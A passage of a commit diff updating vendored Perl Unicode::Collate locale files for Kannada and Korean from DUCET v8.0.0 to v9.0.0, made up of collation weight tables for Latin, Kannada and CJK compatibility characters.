+006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+0151      ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150      ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+0153      ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE
+0152      ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE
+00E5      ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F98.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kn.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kn.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kn.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,10 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0C82      ; [.27BF.0020.0002][.FFF1.0000.0000] # KANNADA SIGN ANUSVARA
-0C83      ; [.27BF.0020.0002][.FFF2.0000.0000] # KANNADA SIGN VISARGA
-0CF1      ; [.27BF.0020.0002][.FFF3.0000.0000] # KANNADA SIGN JIHVAMULIYA
-0CF2      ; [.27BF.0020.0002][.FFF4.0000.0000] # KANNADA SIGN UPADHMANIYA
-0C94      ; [.27BF.0020.0002][.FFF0.0000.0000] # KANNADA LETTER AU
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0C82      ; [.284C.0020.0002][.FFF1.0000.0000] # KANNADA SIGN ANUSVARA
+0C83      ; [.284C.0020.0002][.FFF2.0000.0000] # KANNADA SIGN VISARGA
+0CF1      ; [.284C.0020.0002][.FFF3.0000.0000] # KANNADA SIGN JIHVAMULIYA
+0CF2      ; [.284C.0020.0002][.FFF4.0000.0000] # KANNADA SIGN UPADHMANIYA
+0C94      ; [.284C.0020.0002][.FFF0.0000.0000] # KANNADA LETTER AU
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ko.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ko.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ko.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,647 +1,647 @@
 use Unicode::Collate::CJK::Korean;
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    overrideCJK => \&Unicode::Collate::CJK::Korean::weightKorean,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-F967      ; [.3A65.0021.0002.4E0D][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F967
-FA70      ; [.3A65.0032.0002.4E26][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA70
-F905      ; [.3A5E.0021.0002.4E32][.3AE4.0020.0002][.3B4F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F905
-2F801     ; [.3A70.0021.0002.4E38][.3AE5.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F801
-F95E      ; [.3A61.0021.0002.4E39][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95E
-F91B      ; [.3A63.0021.0002.4E82][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91B
-F9BA      ; [.3A63.0021.0002.4E86][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BA
-F977      ; [.3A63.0021.0002.4EAE][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F977
-F9FD      ; [.3A67.0021.0002.4EC0][.3AF0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FD
-F9A8      ; [.3A63.0021.0002.4EE4][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A8
-F92D      ; [.3A63.0021.0002.4F86][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92D
-F9B5      ; [.3A63.0021.0002.4F8B][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B5
-FA30      ; [.3A64.0021.0002.4FAE][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA30
-2F805     ; [.3A64.0021.0002.4FAE][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F805
-2F806     ; [.3A6E.0023.0002.4FBB][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F806
-F965      ; [.3A6F.0021.0002.4FBF][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F965
-2F807     ; [.3A65.0022.0002.5002][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F807
-F9D4      ; [.3A63.0022.0002.502B][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D4
-2F809     ; [.3A65.0022.0002.5099][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F809
-2F80B     ; [.3A67.0023.0002.50CF][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80B
-F9BB      ; [.3A63.0022.0002.50DA][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BB
-FA31      ; [.3A67.0023.0002.50E7][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA31
-2F80A     ; [.3A67.0023.0002.50E7][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80A
-FA0C      ; [.3A69.0021.0002.5140][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0C
-FA74      ; [.3A6C.0021.0002.5145][.3AE9.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA74
-FA32      ; [.3A64.0021.0002.514D][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA32
-2F80E     ; [.3A64.0021.0002.514D][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80E
-2F814     ; [.3A60.0022.0002.5167][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F814
-FA72      ; [.3A6A.0024.0002.5168][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA72
-F978      ; [.3A63.0023.0002.5169][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F978
-F9D1      ; [.3A63.0021.0002.516D][.3AED.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D1
-2F811     ; [.3A5E.0026.0002.5177][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F811
-FA75      ; [.3A5E.0024.0002.5180][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA75
-2F815     ; [.3A6A.0021.0002.518D][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F815
-2F8D2     ; [.3A64.0022.0002.5192][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D2
-2F8D3     ; [.3A64.0022.0002.5195][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D3
-2F817     ; [.3A69.0023.0002.5197][.3AE8.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F817
-2F818     ; [.3A69.003B.0002.51A4][.3AEA.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F818
-2F81A     ; [.3A61.0022.0002.51AC][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F81A
-F92E      ; [.3A63.0021.0002.51B7][.3ADD.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92E
-F979      ; [.3A63.0024.0002.51C9][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F979
-F955      ; [.3A63.0021.0002.51CC][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F955
-F954      ; [.3A63.0021.0002.51DC][.3AEE.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F954
-FA15      ; [.3A70.0022.0002.51DE][.3AEF.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA15
-2F81E     ; [.3A69.0023.0002.5203][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F81E
-FA00      ; [.3A6A.0021.0002.5207][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA00
-2F850     ; [.3A6A.0021.0002.5207][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F850
-F99C      ; [.3A63.0022.0002.5217][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99C
-F9DD      ; [.3A63.0022.0002.5229][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DD
-F9FF      ; [.3A6A.0022.0002.523A][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FF
-2F820     ; [.3A5E.0021.0002.523B][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F820
-2F822     ; [.3A70.0021.0002.5272][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F822
-2F823     ; [.3A67.002D.0002.5277][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F823
-F9C7      ; [.3A63.0021.0002.5289][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C7
-F98A      ; [.3A63.0021.0002.529B][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98A
-F99D      ; [.3A63.0023.0002.52A3][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99D
-FA76      ; [.3A69.0024.0002.52C7][.3AE8.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA76
-2F825     ; [.3A69.0024.0002.52C7][.3AE8.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F825
-FA33      ; [.3A64.0023.0002.52C9][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA33
-2F826     ; [.3A64.0023.0002.52C9][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F826
-F952      ; [.3A63.0021.0002.52D2][.3AEE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F952
-F92F      ; [.3A63.0021.0002.52DE][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92F
-FA34      ; [.3A5E.0023.0002.52E4][.3AEE.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA34
-2F827     ; [.3A5E.0023.0002.52E4][.3AEE.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F827
-F97F      ; [.3A63.0023.0002.52F5][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97F
-FA77      ; [.3A6A.0022.0002.52FA][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA77
-2F828     ; [.3A6A.0022.0002.52FA][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F828
-2F829     ; [.3A6F.0022.0002.5305][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F829
-F963      ; [.3A65.0021.0002.5317][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F963
-2F82B     ; [.3A65.0021.0002.5317][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82B
-F9EB      ; [.3A60.0021.0002.533F][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EB
-2F82C     ; [.3A70.0021.0002.5349][.3AEB.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82C
-FA35      ; [.3A65.0025.0002.5351][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA35
-2F82D     ; [.3A65.0025.0002.5351][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82D
-2F82E     ; [.3A65.0022.0002.535A][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82E
-2F82F     ; [.3A6A.0022.0002.5373][.3AEE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82F
-F91C      ; [.3A63.0022.0002.5375][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91C
-2F830     ; [.3A6A.0021.0002.537D][.3AEE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F830
-2F831     ; [.3A5E.0028.0002.537F][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F831
-2F832     ; [.3A5E.0028.0002.537F][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F832
-2F833     ; [.3A5E.0028.0002.537F][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F833
-F96B      ; [.3A6C.0022.0002.53C3][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96B
-2F836     ; [.3A5E.0022.0002.53CA][.3AEE.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F836
-2F837     ; [.3A67.005E.0002.53DF][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F837
-F906      ; [.3A5E.002A.0002.53E5][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F906
-2F839     ; [.3A5E.0021.0002.53EB][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F839
-2F83A     ; [.3A6A.0022.0002.53F1][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83A
-F9DE      ; [.3A63.0024.0002.540F][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DE
-F9ED      ; [.3A63.0021.0002.541D][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9ED
-2F83D     ; [.3A70.0021.0002.5438][.3AEE.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83D
-F980      ; [.3A63.0024.0002.5442][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F980
-2F83E     ; [.3A6A.0026.0002.5448][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83E
-2F83F     ; [.3A6A.0028.0002.5468][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83F
-2F840     ; [.3A69.0031.0002.54A2][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F840
-F99E      ; [.3A69.0025.0002.54BD][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99E
-2F842     ; [.3A61.0021.0002.5510][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F842
-2F843     ; [.3A5E.0022.0002.5553][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F843
-2F844     ; [.3A70.0024.0002.5563][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F844
-2F845     ; [.3A67.0024.0002.5584][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F845
-2F846     ; [.3A67.0024.0002.5584][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F846
-F90B      ; [.3A63.0021.0002.5587][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90B
-FA7A      ; [.3A70.0022.0002.5599][.3AEB.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7A
-2F847     ; [.3A70.0022.0002.5599][.3AEB.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F847
-FA36      ; [.3A5E.0022.0002.559D][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA36
-FA78      ; [.3A5E.0022.0002.559D][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA78
-2F848     ; [.3A5F.0021.0002.55AB][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F848
-FA7B      ; [.3A69.0022.0002.55E2][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7B
-FA37      ; [.3A6E.0022.0002.5606][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA37
-2F84C     ; [.3A6E.0022.0002.5606][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84C
-FA38      ; [.3A5E.0026.0002.5668][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA38
-2F84F     ; [.3A65.0023.0002.5674][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84F
-F9A9      ; [.3A63.0023.0002.56F9][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A9
-2F84B     ; [.3A61.0024.0002.5716][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84B
-2F855     ; [.3A70.0024.0002.578B][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F855
-2F852     ; [.3A67.0021.0002.57CE][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F852
-2F853     ; [.3A67.0021.0002.57F4][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F853
-2F857     ; [.3A65.0023.0002.5831][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F857
-FA39      ; [.3A65.0033.0002.5840][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA39
-FA10      ; [.3A6C.0022.0002.585A][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA10
-FA7C      ; [.3A6C.0022.0002.585A][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7C
-F96C      ; [.3A67.0021.0002.585E][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96C
-FA3A      ; [.3A64.0021.0002.58A8][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3A
-FA7D      ; [.3A65.0024.0002.58B3][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7D
-F94A      ; [.3A63.0021.0002.58D8][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94A
-F942      ; [.3A63.0021.0002.58DF][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F942
-2F85C     ; [.3A65.0032.0002.5906][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85C
-2F85D     ; [.3A61.0021.0002.591A][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85D
-2F85E     ; [.3A64.0021.0002.5922][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85E
-FA7E      ; [.3A69.0024.0002.5944][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7E
-F90C      ; [.3A60.0023.0002.5948][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90C
-F909      ; [.3A5E.0024.0002.5951][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F909
-FA7F      ; [.3A65.0025.0002.5954][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7F
-2F85F     ; [.3A67.0030.0002.5962][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85F
-F981      ; [.3A60.0021.0002.5973][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F981
-2F862     ; [.3A70.0026.0002.59EC][.3AEF.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F862
-2F863     ; [.3A69.002C.0002.5A1B][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F863
-2F864     ; [.3A6E.0030.0002.5A27][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F864
-FA80      ; [.3A65.0027.0002.5A62][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA80
-2F866     ; [.3A65.002B.0002.5A66][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F866
-2F986     ; [.3A69.0025.0002.5AB5][.3AF0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F986
-2F869     ; [.3A69.0041.0002.5B08][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F869
-FA81      ; [.3A6A.003C.0002.5B28][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA81
-2F86A     ; [.3A63.0029.0002.5B3E][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86A
-2F86B     ; [.3A63.0029.0002.5B3E][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86B
-FA04      ; [.3A61.0021.0002.5B85][.3ADD.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA04
-2F86D     ; [.3A69.0029.0002.5BC3][.3AEA.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86D
-2F86E     ; [.3A6C.003B.0002.5BD8][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86E
-F95F      ; [.3A60.0021.0002.5BE7][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95F
-F9AA      ; [.3A60.0021.0002.5BE7][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AA
-2F86F     ; [.3A60.0021.0002.5BE7][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86F
-F9BC      ; [.3A63.0023.0002.5BEE][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BC
-F9BD      ; [.3A60.0021.0002.5C3F][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BD
-2F877     ; [.3A61.0028.0002.5C60][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F877
-F94B      ; [.3A63.0023.0002.5C62][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94B
-FA3B      ; [.3A6C.0021.0002.5C64][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3B
-F9DF      ; [.3A63.0026.0002.5C65][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DF
-2F879     ; [.3A67.002A.0002.5CC0][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F879
-F9D5      ; [.3A63.0023.0002.5D19][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D5
-F921      ; [.3A63.0021.0002.5D50][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F921
-F9AB      ; [.3A63.0025.0002.5DBA][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AB
-2F881     ; [.3A67.0021.0002.5DE1][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F881
-2F882     ; [.3A67.0027.0002.5DE2][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F882
-2F884     ; [.3A67.0022.0002.5DFD][.3AE4.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F884
-2F885     ; [.3A67.0029.0002.5E28][.3AE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F885
-2F886     ; [.3A64.0025.0002.5E3D][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F886
-F98E      ; [.3A60.0021.0002.5E74][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98E
-FA01      ; [.3A61.002B.0002.5EA6][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA01
-2F88C     ; [.3A65.0052.0002.5EB3][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88C
-2F88D     ; [.3A67.0025.0002.5EB6][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88D
-F9A2      ; [.3A63.0021.0002.5EC9][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A2
-F928      ; [.3A63.0021.0002.5ECA][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F928
-2F88E     ; [.3A63.0021.0002.5ECA][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88E
-FA0B      ; [.3A5E.0021.0002.5ED3][.3AE5.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0B
-F982      ; [.3A63.0025.0002.5EEC][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F982
-F943      ; [.3A63.0022.0002.5F04][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F943
-2F894     ; [.3A61.004B.0002.5F22][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F894
-2F895     ; [.3A61.004B.0002.5F22][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F895
-2F899     ; [.3A70.0025.0002.5F62][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F899
-FA84      ; [.3A6C.0025.0002.5F69][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA84
-2F89A     ; [.3A6A.0027.0002.5F6B][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89A
-F9D8      ; [.3A63.0021.0002.5F8B][.3AED.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D8
-F966      ; [.3A65.0026.0002.5FA9][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F966
-FA85      ; [.3A69.0043.0002.5FAD][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA85
-2F89D     ; [.3A69.002A.0002.5FCD][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89D
-2F89E     ; [.3A6A.0026.0002.5FD7][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89E
-F9A3      ; [.3A60.0021.0002.5FF5][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A3
